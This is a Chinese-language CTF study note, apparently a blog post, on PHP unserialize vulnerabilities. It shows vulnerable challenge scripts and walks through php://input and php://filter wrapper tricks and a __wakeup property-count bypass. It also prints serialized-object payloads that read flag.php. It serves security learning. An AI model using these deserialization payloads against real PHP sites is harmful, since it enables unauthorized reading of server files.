WEB 知识点专题

CTF知识点个人总结 —WEB

  • PHP序列化与反序列化(一)

php的序列化和反序列化:serialize()和unserialize()函数的作用是把复杂的数据类型压缩到一个字符串中来传输。

relax.php

<?php
error_reporting(E_ALL^E_NOTICE^E_WARNING);
$_ = $_GET['pw'];
$__ = $_GET['file'];
$___ = $_GET['(><)'];
if(isset($_)&&(file_get_contents($_,'r')==="Two thousand three hundred 
and thirty-three"))
{
    echo '<img src="./images/13.jpg" alt=""><br>';
    if(preg_match("/flag/i",$__)){
        echo "It's not that simple";
        exit();
    }else{
        include($__);
        unserialize($___); --反序列化
    }
}else{
    echo '<img src="./images/1.gif" alt="">';
} 

heicore.php

<?php
class Heicore{
    public $file;
    public function __destruct(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
        }
    }
}
?>

可以知道需要先设置$_ 变量,file_gets_content( $_,‘r’)的意思是把这个 $ _(在这里是一个文件)以字符串的形式读出来,并且字符串要完全等于""Two thousand three hundred and thirty-three(这里要用到php伪协议,使用php://input 1,并且当传进去的参数作为文件名变量去打开文件时,可以将参数php://传进,同时post方式传进去值作为文件内容)

当传进成功后,我们可以看到只有file($ __)中不包含flag关键词,就会include($ __)进去,而且会将$ ___ 反序列化进行输出。在这之前我们已经得出了flag.php就是存放flag的地方,但是苦于preg _match这个函数,heicore.php是我们在robots.php里看到的,我们事先已经用php:filter2将这个源代码读了出来,发现include如果包含这个heicore.php,那么我们可以将(><)序列化(class的序列化),并且让其值是flag.php,这样就可以读到这个文件了(有魔法函数自动执行语句滴~),如此一来就避免了preg _match函数的魔爪,可以顺利得到flag。

payload.php

    <?php  
        class heicore{
        public $file;    
        }    
      
        $a = new heicore();  
        $a->file ="flag.php";  
        $a = serialize($a);  
        print_r($a);  
    ?>  

url中(><)=O:7:%22Heicore%22:1{s:4:%22file%22;s:8:%22flag.php%22;}得到flag

PHP序列化与反序列化(二)

利用


php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用,__construct当一个对象创建时被调用,__destruct当一个对象销毁时被调用,__toString当一个对象被当作一个字符串使用。(序列化反序列化的题目时常和magic函数放在一起进行绕过)

Sofun.php

<?php
  class SoFun{ 
    protected $file='index.php';
    function __destruct(){
        if(!empty($this->file)) 
        {
            //查找file文件中的字符串,如果有'\\'和'/'在字符串中,就显示错误
            if(strchr($this->file,"\\")===false 
            &&  strchr($this->file, '/')===false)
            {
                show_source(dirname (__FILE__).'/'.$this ->file);
            }
            else{
                    die('Wrong filename.');
                }
        }
    }
    function __wakeup()
    { 
        $this-> file='index.php';
    } 
    public function __toString()
    {
        return '';
    }
    }     
    if (!isset($_GET['file']))
    { 
        show_source('index.php'); 
    } 
    else{ 
       $file=base64_decode( $_GET['file']); 
       echo unserialize($file ); 
    } 
?>  #<!--flag in flag.php-->

可以看到首先变量不为空,其次这个变量不能有"\" or “/”,这样他才会显示出这个文件的内容,这里又再次看到了unserialize形式,使file的值是flag.php即可,但是这个时候需要考虑到base64编码和wakeup魔法函数,因为通过unserialize反序列化之后,也会调用__wakeup方法,它会把file设为index.php。所以还需要考虑怎么绕过_ wakeup函数才可。但是还是有漏洞可以钻一钻的,查询各种小资料,发现_wakeup漏洞,简单来说,当一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,这就是一个绕过点。 这下我们就可以放心大胆的serialize$file了,最后只需要修改其属性值得数目就可以绕过magic函数。但是注意protected属性,protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符,而不是 \0 组合。这是我在网上查询到的资料,并且字段名被作为字符串序列化时,字符串值中包括根据其可见性所加的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。


构造假payload:O:5:“SoFun”:2:{s:9:"\0*\0file";s:8:“flag.php”;}3
最后将假payload进行base64加密即可得到真payload!


  1. 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。 ↩︎

  2. 可以读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。 ↩︎

  3. 如果前面是S,则 \0 算一个字符,如果前面是s,则 \0 为两个字符,在序列化时注意改变前面的字符数目。 ↩︎

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值